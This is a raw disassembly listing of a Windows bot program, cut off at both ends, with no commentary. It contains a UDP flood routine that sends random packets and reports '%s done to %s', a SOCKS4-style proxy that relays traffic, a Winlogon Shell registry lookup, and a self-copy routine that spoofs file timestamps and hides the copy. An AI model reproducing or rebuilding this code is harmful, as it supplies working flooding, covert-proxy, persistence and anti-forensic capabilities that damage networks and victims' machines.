ptr [ebp+var_4+1] mov edx, [eax+edx*4+4E8h] shr edi, 18h add edx, [eax+edi*4] mov edi, [ebp+var_4] and edi, esi xor edx, [eax+ebx*4+9D0h] add edx, [eax+edi*4+0EB8h] mov edi, [ebp+var_C] xor edx, [edi+20h] xor ecx, edx xor edx, edx mov [ebp+var_8], ecx mov ebx, ecx mov dl, byte ptr [ebp+var_8+2] shr ebx, 18h mov edx, [eax+edx*4+4E8h] add edx, [eax+ebx*4] xor ebx, ebx mov bl, ch xor edx, [eax+ebx*4+9D0h] mov ebx, ecx and ebx, esi add edx, [eax+ebx*4+0EB8h] xor edx, [edi+1Ch] xor [ebp+var_4], edx xor edx, edx mov dl, byte ptr [ebp+var_4+2] mov edi, [ebp+var_4] mov edx, [eax+edx*4+4E8h] shr edi, 18h xor ebx, ebx add edx, [eax+edi*4] mov bl, byte ptr [ebp+var_4+1] mov edi, [ebp+var_4] xor edx, [eax+ebx*4+9D0h] and edi, esi add edx, [eax+edi*4+0EB8h] mov edi, [ebp+var_C] xor edx, [edi+18h] xor ecx, edx xor edx, edx mov [ebp+var_8], ecx mov ebx, ecx mov dl, byte ptr [ebp+var_8+2] shr ebx, 18h mov edx, [eax+edx*4+4E8h] add edx, [eax+ebx*4] xor ebx, ebx mov bl, ch xor edx, [eax+ebx*4+9D0h] mov ebx, ecx and ebx, esi add edx, [eax+ebx*4+0EB8h] xor ebx, ebx xor edx, [edi+14h] xor [ebp+var_4], edx xor edx, edx mov dl, byte ptr [ebp+var_4+2] mov edi, [ebp+var_4] mov bl, byte ptr [ebp+var_4+1] mov edx, [eax+edx*4+4E8h] shr edi, 18h add edx, [eax+edi*4] mov edi, [ebp+var_4] and edi, esi xor edx, [eax+ebx*4+9D0h] add edx, [eax+edi*4+0EB8h] mov edi, [ebp+var_C] xor edx, [edi+10h] xor ecx, edx xor edx, edx mov [ebp+var_8], ecx mov ebx, ecx mov dl, byte ptr [ebp+var_8+2] shr ebx, 18h mov edx, [eax+edx*4+4E8h] add edx, [eax+ebx*4] xor ebx, ebx mov bl, ch xor edx, [eax+ebx*4+9D0h] mov ebx, ecx and ebx, esi add edx, [eax+ebx*4+0EB8h] xor ebx, ebx xor edx, [edi+0Ch] xor [ebp+var_4], edx xor edx, edx mov dl, byte ptr [ebp+var_4+2] mov edi, [ebp+var_4] mov bl, byte ptr [ebp+var_4+1] mov edx, [eax+edx*4+4E8h] shr edi, 18h add edx, [eax+edi*4] mov edi, [ebp+var_4] and edi, esi xor edx, [eax+ebx*4+9D0h] add edx, [eax+edi*4+0EB8h] mov edi, [ebp+var_C] xor edx, [edi+8] xor ecx, edx xor edx, edx mov [ebp+var_8], ecx mov ebx, ecx mov dl, byte ptr [ebp+var_8+2] shr ebx, 18h mov edx, [eax+edx*4+4E8h] add edx, [eax+ebx*4] xor ebx, ebx mov bl, ch xor edx, [eax+ebx*4+9D0h] mov ebx, ecx and ebx, esi add edx, [eax+ebx*4+0EB8h] mov eax, [ebp+var_4] xor edx, [edi+4] xor eax, edx mov edx, [edi] xor edx, ecx mov ecx, [ebp+arg_0] pop edi pop esi mov [ecx], edx mov ecx, [ebp+arg_4] pop ebx mov [ecx], eax leave retn 8 sub_41E41E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E791 proc near ; CODE XREF: sub_41E8CB+79p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push ebx push esi xor esi, esi push edi mov [ebp+var_8], ecx xor eax, eax loc_41E7A1: ; CODE XREF: sub_41E791+21j mov edx, [ecx] mov edi, dword_447868[eax] mov [eax+edx], edi add eax, 4 cmp eax, 48h jl short loc_41E7A1 xor eax, eax loc_41E7B6: ; CODE XREF: sub_41E791+41j mov edx, 13Ah loc_41E7BB: ; CODE XREF: sub_41E791+3Aj mov edi, [ecx+4] mov ebx, dword_4478B0[eax] mov [eax+edi], ebx add eax, 4 dec edx jnz short loc_41E7BB cmp eax, 13A0h jl short loc_41E7B6 mov ebx, [ebp+arg_0] mov [ebp+var_4], esi loc_41E7DA: ; CODE XREF: sub_41E791+A9j lea eax, [esi+1] cdq idiv [ebp+arg_4] mov eax, [ebp+var_8] movzx edi, byte ptr [esi+ebx] mov eax, [eax] shl edi, 18h and edi, 0FF00FFFFh movzx ecx, byte ptr [edx+ebx] mov edx, [ebp+var_4] add [ebp+var_4], 4 add edx, eax lea eax, [esi+2] mov [ebp+var_C], edx cdq idiv [ebp+arg_4] shl ecx, 10h xor ecx, edi xor eax, eax xor cx, cx mov ah, [edx+ebx] xor eax, ecx mov ecx, eax lea eax, [esi+3] cdq idiv [ebp+arg_4] movzx eax, byte ptr [edx+ebx] or ecx, eax mov eax, [ebp+var_C] xor [eax], ecx lea eax, [esi+4] cdq idiv [ebp+arg_4] cmp [ebp+var_4], 48h mov esi, edx jl short loc_41E7DA xor esi, esi mov [ebp+arg_4], esi mov [ebp+arg_0], esi loc_41E844: ; CODE XREF: sub_41E791+DCj mov edi, [ebp+var_8] lea eax, [ebp+arg_0] push eax lea eax, [ebp+arg_4] push eax mov ecx, edi call sub_41E0AD mov eax, [edi] mov ecx, [ebp+arg_4] mov [esi+eax], ecx mov eax, [edi] mov ecx, [ebp+arg_0] mov [esi+eax+4], ecx add esi, 8 cmp esi, 48h jl short loc_41E844 push 4 pop esi loc_41E872: ; CODE XREF: sub_41E791+117j mov ebx, 9Dh loc_41E877: ; CODE XREF: sub_41E791+10Fj mov edi, [ebp+var_8] lea eax, [ebp+arg_0] push eax lea eax, [ebp+arg_4] push eax mov ecx, edi call sub_41E0AD mov eax, [edi+4] mov ecx, [ebp+arg_4] mov [esi+eax-4], ecx mov eax, [edi+4] mov ecx, [ebp+arg_0] mov [esi+eax], ecx add esi, 8 dec ebx jnz short loc_41E877 cmp esi, 13A4h jl short loc_41E872 pop edi pop esi pop ebx leave retn 8 sub_41E791 endp ; =============== S U B R O U T I N E ======================================= sub_41E8B1 proc near ; CODE XREF: sub_41E8CB+9Ap ; sub_41E8CB+B5p arg_0 = byte ptr 4 xor eax, eax loc_41E8B3: ; CODE XREF: sub_41E8B1+15j mov ecx, off_448C50 mov cl, [ecx+eax] cmp cl, [esp+arg_0] jz short locret_41E8CA inc eax cmp eax, 40h jl short loc_41E8B3 xor eax, eax locret_41E8CA: ; CODE XREF: sub_41E8B1+Fj retn sub_41E8B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E8CB proc near ; CODE XREF: sub_41D94C+1Ep var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push ebx push esi push [ebp+arg_4] mov esi, dword_42F0DC call esi ; dword_42F0DC add eax, 0Ch push eax call sub_423F55 pop ecx mov ebx, eax push [ebp+arg_4] mov [ebp+var_8], ebx push ebx call dword_42F04C ; lstrcpyA mov eax, [ebp+arg_0] test eax, eax jz loc_41EA15 cmp byte ptr [eax], 0 jz loc_41EA15 push edi mov edi, ebx push [ebp+arg_4] call esi ; dword_42F0DC add eax, 0Ch push eax call sub_423F55 cmp byte ptr [ebx], 0 pop ecx mov [ebp+var_4], eax jz short loc_41E92B loc_41E925: ; CODE XREF: sub_41E8CB+5Ej inc edi cmp byte ptr [edi], 0 jnz short loc_41E925 loc_41E92B: ; CODE XREF: sub_41E8CB+58j xor eax, eax lea ecx, [ebp+var_10] stosd stosd stosd call sub_41E077 push [ebp+arg_0] call esi ; dword_42F0DC push eax lea ecx, [ebp+var_10] push [ebp+arg_0] call sub_41E791 cmp byte ptr [ebx], 0 mov esi, [ebp+var_4] mov edi, ebx jz loc_41E9FD loc_41E957: ; CODE XREF: sub_41E8CB+129j and [ebp+arg_0], 0 and [ebp+arg_4], 0 xor edx, edx loc_41E961: ; CODE XREF: sub_41E8CB+ADj mov al, [edi] inc edi push eax call sub_41E8B1 pop ecx mov ecx, edx add edx, 6 shl eax, cl or [ebp+arg_0], eax cmp edx, 24h jl short loc_41E961 xor edx, edx loc_41E97C: ; CODE XREF: sub_41E8CB+C8j mov al, [edi] inc edi push eax call sub_41E8B1 pop ecx mov ecx, edx add edx, 6 shl eax, cl or [ebp+arg_4], eax cmp edx, 24h jl short loc_41E97C lea eax, [ebp+arg_0] lea ecx, [ebp+var_10] push eax lea eax, [ebp+arg_4] push eax call sub_41E41E push 18h xor edx, edx pop eax loc_41E9AA: ; CODE XREF: sub_41E8CB+FEj mov ebx, 0FFh mov ecx, eax shl ebx, cl push 18h sub eax, 8 pop ecx sub ecx, edx add edx, 8 and ebx, [ebp+arg_4] shr ebx, cl mov [esi], bl inc esi cmp eax, 0FFFFFFF8h jg short loc_41E9AA push 18h xor edx, edx pop eax loc_41E9D0: ; CODE XREF: sub_41E8CB+124j mov ebx, 0FFh mov ecx, eax shl ebx, cl push 18h sub eax, 8 pop ecx sub ecx, edx add edx, 8 and ebx, [ebp+arg_0] shr ebx, cl mov [esi], bl inc esi cmp eax, 0FFFFFFF8h jg short loc_41E9D0 cmp byte ptr [edi], 0 jnz loc_41E957 mov ebx, [ebp+var_8] loc_41E9FD: ; CODE XREF: sub_41E8CB+86j and byte ptr [esi], 0 push ebx call sub_421C78 pop ecx lea ecx, [ebp+var_10] call sub_41E097 mov eax, [ebp+var_4] pop edi jmp short loc_41EA17 ; --------------------------------------------------------------------------- loc_41EA15: ; CODE XREF: sub_41E8CB+31j ; sub_41E8CB+3Aj mov eax, ebx loc_41EA17: ; CODE XREF: sub_41E8CB+148j pop esi pop ebx leave retn sub_41E8CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EA1B proc near ; DATA XREF: sub_403B2C+61DFo var_10146 = byte ptr -10146h var_10144 = byte ptr -10144h var_144 = dword ptr -144h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10144h call sub_4220C0 mov eax, [ebp+arg_0] push ebx push esi push edi push 4Bh mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd mov edi, [ebp+var_144] xor ecx, ecx inc ecx mov [ebp+arg_0], edi cmp [ebp+var_20], ecx mov [eax+128h], ecx jnz short loc_41EA5F push offset dword_4552D0 call sub_4140CF pop ecx jmp short loc_41EA77 ; --------------------------------------------------------------------------- loc_41EA5F: ; CODE XREF: sub_41EA1B+35j mov esi, offset dword_4552D0 push 100h push esi call dword_42F2A8 ; gethostname push esi call dword_42F274 ; gethostbyname loc_41EA77: ; CODE XREF: sub_41EA1B+42j call dword_42F164 ; GetTickCount push eax call sub_4220EF pop ecx push 11h push 2 push 2 call dword_454394 ; socket mov [ebp+var_8], eax xor ebx, ebx push 10h lea eax, [ebp+var_18] push ebx push eax call sub_4221F0 add esp, 0Ch lea eax, [ebp+var_C0] mov [ebp+var_18], 2 push eax call dword_45434C ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_41EB09 lea eax, [ebp+var_C0] push eax call dword_454398 ; gethostbyname cmp eax, ebx jnz short loc_41EB02 cmp [ebp+var_24], ebx jnz short loc_41EAF1 lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_140] push offset aSErrorSendin_0 ; "%s Error sending to %s." push eax push edi call sub_4104F6 add esp, 10h loc_41EAF1: ; CODE XREF: sub_41EA1B+B8j push [ebp+var_30] call sub_41C059 pop ecx push 1 call dword_42F150 ; ExitThread loc_41EB02: ; CODE XREF: sub_41EA1B+B3j mov eax, [eax+0Ch] mov eax, [eax] jmp short loc_41EB0C ; --------------------------------------------------------------------------- loc_41EB09: ; CODE XREF: sub_41EA1B+A2j lea eax, [ebp+var_4] loc_41EB0C: ; CODE XREF: sub_41EA1B+ECj mov eax, [eax] cmp [ebp+var_34], ebx mov [ebp+var_14], eax mov esi, 0FFFFh jnz short loc_41EB29 call sub_4220FC cdq mov ecx, esi idiv ecx inc edx push edx jmp short loc_41EB2C ; --------------------------------------------------------------------------- loc_41EB29: ; CODE XREF: sub_41EA1B+FEj push [ebp+var_34] loc_41EB2C: ; CODE XREF: sub_41EA1B+10Cj call dword_454314 ; ntohs mov [ebp+var_16], ax xor eax, eax inc eax cmp [ebp+var_34], eax jge short loc_41EB41 mov [ebp+var_34], eax loc_41EB41: ; CODE XREF: sub_41EA1B+121j cmp [ebp+var_34], esi jle short loc_41EB49 mov [ebp+var_34], esi loc_41EB49: ; CODE XREF: sub_41EA1B+129j mov eax, [ebp+var_40] push 0Ah cdq pop ecx idiv ecx cmp [ebp+var_38], ebx mov [ebp+var_40], eax jnz short loc_41EB61 mov [ebp+var_38], 5 loc_41EB61: ; CODE XREF: sub_41EA1B+13Dj xor esi, esi cmp [ebp+var_3C], ebx jle short loc_41EBCA loc_41EB68: ; CODE XREF: sub_41EA1B+165j call sub_4220FC cdq mov ecx, 0F0h idiv ecx inc esi cmp esi, [ebp+var_3C] mov [ebp+esi-10145h], dl jl short loc_41EB68 jmp short loc_41EBCA ; --------------------------------------------------------------------------- loc_41EB84: ; CODE XREF: sub_41EA1B+1B2j dec [ebp+var_40] call sub_4220FC xor esi, esi cmp [ebp+var_40], ebx jle short loc_41EBCF loc_41EB93: ; CODE XREF: sub_41EA1B+1ADj lea eax, [ebp+var_18] push 10h push eax push ebx call sub_4220FC push 0Ah cdq pop ecx idiv ecx mov eax, [ebp+var_3C] sub eax, edx push eax lea eax, [ebp+var_10144] push eax push [ebp+var_8] call dword_454370 ; sendto push [ebp+var_38] call dword_42F15C ; Sleep inc esi cmp esi, [ebp+var_40] jl short loc_41EB93 loc_41EBCA: ; CODE XREF: sub_41EA1B+14Bj ; sub_41EA1B+167j cmp [ebp+var_40], ebx jg short loc_41EB84 loc_41EBCF: ; CODE XREF: sub_41EA1B+176j dec [ebp+var_40] cmp [ebp+var_28], ebx mov edi, offset a75bqq0i7ucw0 ; "75bQQ0i7ucW0" mov esi, offset aSDoneToS ; "%s done to %s" jnz short loc_41EC01 cmp [ebp+var_2C], ebx jnz short loc_41EC06 lea eax, [ebp+var_C0] push eax push edi lea eax, [ebp+var_140] push esi push eax push [ebp+arg_0] call sub_4104F6 add esp, 14h loc_41EC01: ; CODE XREF: sub_41EA1B+1C4j cmp [ebp+var_2C], ebx jz short loc_41EC21 loc_41EC06: ; CODE XREF: sub_41EA1B+1C9j lea eax, [ebp+var_C0] push eax push edi lea eax, [ebp+var_140] push esi push eax push [ebp+arg_0] call sub_410491 add esp, 14h loc_41EC21: ; CODE XREF: sub_41EA1B+1E9j push [ebp+var_30] call sub_41C059 pop ecx push ebx call dword_42F150 ; ExitThread sub_41EA1B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EC31 proc near ; CODE XREF: sub_41ED27+125p var_504 = byte ptr -504h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi mov esi, 400h loc_41EC47: ; CODE XREF: sub_41EC31+BBj ; sub_41EC31+EBj xor ecx, ecx mov [ebp+var_100], ebx inc ecx xor eax, eax mov [ebp+var_104], ecx loc_41EC58: ; CODE XREF: sub_41EC31+36j mov edx, [ebp+arg_0] cmp [ebp+eax*4+var_100], edx jz short loc_41EC69 inc eax cmp eax, ecx jb short loc_41EC58 loc_41EC69: ; CODE XREF: sub_41EC31+31j cmp eax, ecx jnz short loc_41EC7A mov [ebp+eax*4+var_100], edx inc [ebp+var_104] loc_41EC7A: ; CODE XREF: sub_41EC31+3Aj push esi lea eax, [ebp+var_504] push edi push eax call sub_4221F0 add esp, 0Ch lea eax, [ebp+var_104] push edi push edi push edi push eax push edi call dword_4542FC ; select lea eax, [ebp+var_104] push eax push ebx call dword_4541E4 ; __WSAFDIsSet test eax, eax jz short loc_41ECDA push edi lea eax, [ebp+var_504] push esi push eax push ebx call dword_454330 ; recv cmp eax, 0FFFFFFFFh jz short loc_41ED22 push edi push eax lea eax, [ebp+var_504] push eax push [ebp+arg_0] call dword_454350 ; send cmp eax, 0FFFFFFFFh jz short loc_41ED22 loc_41ECDA: ; CODE XREF: sub_41EC31+7Bj lea eax, [ebp+var_104] push eax push [ebp+arg_0] call dword_4541E4 ; __WSAFDIsSet test eax, eax jz loc_41EC47 push edi lea eax, [ebp+var_504] push esi push eax push [ebp+arg_0] call dword_454330 ; recv cmp eax, 0FFFFFFFFh jz short loc_41ED22 push edi push eax lea eax, [ebp+var_504] push eax push ebx call dword_454350 ; send cmp eax, 0FFFFFFFFh jnz loc_41EC47 loc_41ED22: ; CODE XREF: sub_41EC31+90j ; sub_41EC31+A7j ... pop edi pop esi pop ebx leave retn sub_41EC31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ED27 proc near ; DATA XREF: sub_41EE55+A4o var_524 = dword ptr -524h var_520 = dword ptr -520h var_420 = byte ptr -420h var_41F = byte ptr -41Fh var_41E = word ptr -41Eh var_41C = dword ptr -41Ch var_418 = byte ptr -418h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 524h push ebx push esi mov esi, [ebp+arg_0] lea eax, [ebp+var_8] push edi xor ebx, ebx push eax xor edi, edi push ebx lea eax, [ebp+var_524] push ebx inc edi push eax push ebx mov [ebp+var_8], 5 mov [ebp+var_4], ebx mov [ebp+var_520], esi mov [ebp+var_524], edi call dword_4542FC ; select test eax, eax jz loc_41EE1A push ebx lea eax, [ebp+var_420] push 408h push eax push esi call dword_454330 ; recv test eax, eax jle loc_41EE1A cmp [ebp+var_420], 4 jnz loc_41EE1A cmp [ebp+var_41F], 1 jnz short loc_41EE1A push 10h lea eax, [ebp+var_18] push ebx push eax call sub_4221F0 mov ax, [ebp+var_41E] add esp, 0Ch mov [ebp+var_16], ax mov eax, [ebp+var_41C] push 6 push edi push 2 mov [ebp+var_18], 2 mov [ebp+var_14], eax call dword_454394 ; socket mov edi, eax lea eax, [ebp+var_18] push 10h push eax push edi call dword_4542AC ; connect cmp eax, 0FFFFFFFFh push 400h lea eax, [ebp+var_418] push ebx mov [ebp+var_420], bl push eax jnz short loc_41EE2A mov [ebp+var_41F], 5Bh call sub_4221F0 add esp, 0Ch lea eax, [ebp+var_420] push ebx push 8 push eax push esi call dword_454350 ; send loc_41EE1A: ; CODE XREF: sub_41ED27+40j ; sub_41ED27+5Cj ... push esi call dword_4543AC ; closesocket loc_41EE21: ; CODE XREF: sub_41ED27+12Cj pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_41EE2A: ; CODE XREF: sub_41ED27+D1j mov [ebp+var_41F], 5Ah call sub_4221F0 add esp, 0Ch lea eax, [ebp+var_420] push ebx push 8 push eax push esi call dword_454350 ; send push esi push edi call sub_41EC31 pop ecx pop ecx jmp short loc_41EE21 sub_41ED27 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41EE55 proc near ; DATA XREF: sub_403B2C+12CDo var_260 = byte ptr -260h var_1DC = dword ptr -1DCh var_1C0 = dword ptr -1C0h var_20 = byte ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 260h mov eax, [ebp+arg_0] push esi push edi mov ecx, 90h mov esi, eax lea edi, [ebp+var_260] rep movsd push [ebp+var_1C0] xor edi, edi inc edi mov [ebp+var_10], 2 mov [eax+0BCh], edi call dword_454314 ; ntohs push 6 xor esi, esi push edi push 2 mov [ebp+var_E], ax mov [ebp+var_C], esi call dword_454394 ; socket mov edi, eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_454344 ; bind test eax, eax jz short loc_41EEC7 push [ebp+var_1DC] call sub_41C059 pop ecx push esi call dword_42F150 ; ExitThread loc_41EEC7: ; CODE XREF: sub_41EE55+5Dj push 0Ah push edi call dword_454340 ; listen test eax, eax jz short loc_41EEE7 push [ebp+var_1DC] call sub_41C059 pop ecx push esi call dword_42F150 ; ExitThread loc_41EEE7: ; CODE XREF: sub_41EE55+7Dj ; sub_41EE55+B1j lea eax, [ebp+var_20] push esi push eax push edi call dword_4543A4 ; accept lea ecx, [ebp+arg_0] push ecx push esi push eax push offset sub_41ED27 push esi push esi call dword_42F158 ; CreateThread jmp short loc_41EEE7 sub_41EE55 endp ; =============== S U B R O U T I N E ======================================= sub_41EF08 proc near ; CODE XREF: sub_403A63+47p ; sub_4140F8+Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, offset asc_433F94 ; " " push edi push esi push [esp+10h+arg_4] call sub_422248 mov edi, [esp+14h+arg_0] xor ebx, ebx inc ebx pop ecx cmp [esp+10h+arg_8], ebx pop ecx mov [edi], eax jle short loc_41EF43 loc_41EF2B: ; CODE XREF: sub_41EF08+39j push esi push 0 call sub_422248 pop ecx mov [edi+ebx*4], eax test eax, eax pop ecx jz short loc_41EF43 inc ebx cmp ebx, [esp+0Ch+arg_8] jl short loc_41EF2B loc_41EF43: ; CODE XREF: sub_41EF08+21j ; sub_41EF08+32j pop edi mov eax, ebx pop esi pop ebx retn sub_41EF08 endp ; =============== S U B R O U T I N E ======================================= sub_41EF49 proc near ; CODE XREF: sub_412267+97p arg_0 = dword ptr 4 push [esp+arg_0] call dword_42F0A0 ; GetFileAttributesA xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_41EF49 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EF5E proc near ; CODE XREF: sub_41F01F+EFp var_110 = byte ptr -110h var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 110h push ebx push esi push edi lea eax, [ebp+var_110] push 104h push eax call dword_42F0C0 ; GetWindowsDirectoryA push 1 push offset aShell_0 ; "Shell" push offset aSoftwareMicr_3 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... push 80000002h call sub_41A829 xor ebx, ebx add esp, 10h cmp eax, ebx jz short loc_41F018 push eax lea eax, [ebp+var_110] push eax call dword_42F0D4 ; lstrcatA mov esi, dword_42F060 mov edi, 80h push ebx push edi push 3 push ebx push 1 lea eax, [ebp+var_110] push 80000000h push eax call esi ; dword_42F060 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz short loc_41F018 lea ecx, [ebp+var_C] push ecx push ebx push ebx push eax call dword_42F11C ; GetFileTime push [ebp+var_4] call dword_42F038 ; CloseHandle push ebx push edi push 3 push ebx push 2 push 40000000h push [ebp+arg_0] call esi ; dword_42F060 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_41F018 lea eax, [ebp+var_C] push eax push ebx push ebx push esi call dword_42F118 ; SetFileTime push esi call dword_42F038 ; CloseHandle xor eax, eax inc eax jmp short loc_41F01A ; --------------------------------------------------------------------------- loc_41F018: ; CODE XREF: sub_41EF5E+3Bj ; sub_41EF5E+71j ... xor eax, eax loc_41F01A: ; CODE XREF: sub_41EF5E+B8j pop edi pop esi pop ebx leave retn sub_41EF5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F01F proc near ; CODE XREF: sub_4120E9+F0p ; sub_41B69D+99p var_30C = byte ptr -30Ch var_208 = byte ptr -208h var_104 = byte ptr -104h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 30Ch push ebx push esi mov esi, 104h lea eax, [ebp+var_208] push esi xor ebx, ebx push eax push ebx call dword_42F074 ; GetModuleHandleA push eax call dword_42F154 ; GetModuleFileNameA push [ebp+arg_4] lea eax, [ebp+var_104] push [ebp+arg_0] push offset dword_43C270 push esi push eax call sub_42219B add esp, 14h lea eax, [ebp+var_208] push eax lea eax, [ebp+var_30C] push eax call dword_42F04C ; lstrcpyA lea eax, [ebp+var_30C] push eax call dword_45429C ; PathRemoveFileSpecA lea eax, [ebp+var_104] push eax lea eax, [ebp+var_208] push eax call dword_42F070 ; lstrcmpiA test eax, eax jz loc_41F12D lea eax, [ebp+var_104] push eax call dword_42F0A0 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_41F0C3 lea eax, [ebp+var_104] push 80h push eax call dword_42F08C ; SetFileAttributesA loc_41F0C3: ; CODE XREF: sub_41F01F+90j mov esi, dword_42F09C push edi push ebx jmp short loc_41F0F1 ; --------------------------------------------------------------------------- loc_41F0CD: ; CODE XREF: sub_41F01F+E6j call dword_42F068 ; RtlGetLastWin32Error test ebx, ebx jnz short loc_41F107 cmp eax, 20h jz short loc_41F0E1 cmp eax, 5 jnz short loc_41F107 loc_41F0E1: ; CODE XREF: sub_41F01F+BBj xor ebx, ebx push 3A98h inc ebx call dword_42F15C ; Sleep push 0 loc_41F0F1: ; CODE XREF: sub_41F01F+ACj lea eax, [ebp+var_104] push eax lea eax, [ebp+var_208] push eax call esi ; dword_42F09C mov edi, eax test edi, edi jz short loc_41F0CD loc_41F107: ; CODE XREF: sub_41F01F+B6j ; sub_41F01F+C0j lea eax, [ebp+var_104] push eax call sub_41EF5E pop ecx lea eax, [ebp+var_104] push 7 push eax call dword_42F08C ; SetFileAttributesA test edi, edi pop edi jz short loc_41F12D xor eax, eax inc eax jmp short loc_41F12F ; --------------------------------------------------------------------------- loc_41F12D: ; CODE XREF: sub_41F01F+7Aj ; sub_41F01F+107j xor eax, eax loc_41F12F: ; CODE XREF: sub_41F01F+10Cj pop esi pop ebx leave retn sub_41F01F endp ; =============== S U B R O U T I N E ======================================= sub_41F133 proc near ; CODE XREF: sub_419F6A+B5p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 40h mov edx, offset dword_630E70 pop ecx xor eax, eax mov edi, edx rep stosd mov eax, [esp+4+arg_4] pop edi cmp eax, [esp+arg_8] jg short loc_41F164 push esi mov esi, edx sub esi, eax loc_41F152: ; CODE XREF: sub_41F133+2Ej mov ecx, [esp+4+arg_0] mov cl, [eax+ecx] mov [esi+eax], cl inc eax cmp eax, [esp+4+arg_8] jle short loc_41F152 pop esi loc_41F164: ; CODE XREF: sub_41F133+18j mov eax, edx retn sub_41F133 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F167 proc near ; CODE XREF: sub_403B2C+6FFp ; sub_403B2C+71Cp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_41F1F4 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_41F1F4 cmp [ebp+arg_8], esi jz short loc_41F1F4 cmp byte ptr [eax], 0 jz short loc_41F1F4 push ebx push edi call sub_42EBAE mov ebx, eax pop ecx test ebx, ebx jz short loc_41F1EF push [ebp+arg_4] push edi call sub_4235C0 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_41F1E8 sub eax, edi push eax push edi push ebx call sub_4222F0 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_422120 push eax push [ebp+arg_8] push ebx call sub_421F40 push [ebp+arg_4] call sub_422120 add esp, 20h add eax, esi push eax push ebx call dword_42F0D4 ; lstrcatA push ebx push edi call dword_42F04C ; lstrcpyA mov esi, edi loc_41F1E8: ; CODE XREF: sub_41F167+3Cj push ebx call sub_4230B3 pop ecx loc_41F1EF: ; CODE XREF: sub_41F167+2Bj mov eax, esi pop ebx jmp short loc_41F1F6 ; --------------------------------------------------------------------------- loc_41F1F4: ; CODE XREF: sub_41F167+Cj ; sub_41F167+13j ... xor eax, eax loc_41F1F6: ; CODE XREF: sub_41F167+8Bj pop edi pop esi pop ebp retn sub_41F167 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F1FA proc near ; CODE XREF: sub_41F2BB+38p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] xor ebx, ebx jmp short loc_41F22A ; --------------------------------------------------------------------------- loc_41F214: ; CODE XREF: sub_41F1FA+36j mov dl, [eax] cmp dl, 3Fh jz short loc_41F225 cmp dl, 2Ah jnz short loc_41F237 cmp dl, 3Fh jnz short loc_41F228 loc_41F225: ; CODE XREF: sub_41F1FA+1Fj inc ecx mov [edi], ecx loc_41F228: ; CODE XREF: sub_41F1FA+29j inc dword ptr [esi] loc_41F22A: ; CODE XREF: sub_41F1FA+18j mov ecx, [edi] mov eax, [esi] cmp [ecx], bl jnz short loc_41F214 jmp short loc_41F237 ; --------------------------------------------------------------------------- loc_41F234: ; CODE XREF: sub_41F1FA+40j inc eax mov [esi], eax loc_41F237: ; CODE XREF: sub_41F1FA+24j ; sub_41F1FA+38j cmp byte ptr [eax], 2Ah jz short loc_41F234 mov ecx, [edi] mov dl, [ecx] cmp dl, bl jnz short loc_41F259 cmp [eax], bl jz short loc_41F24C xor eax, eax 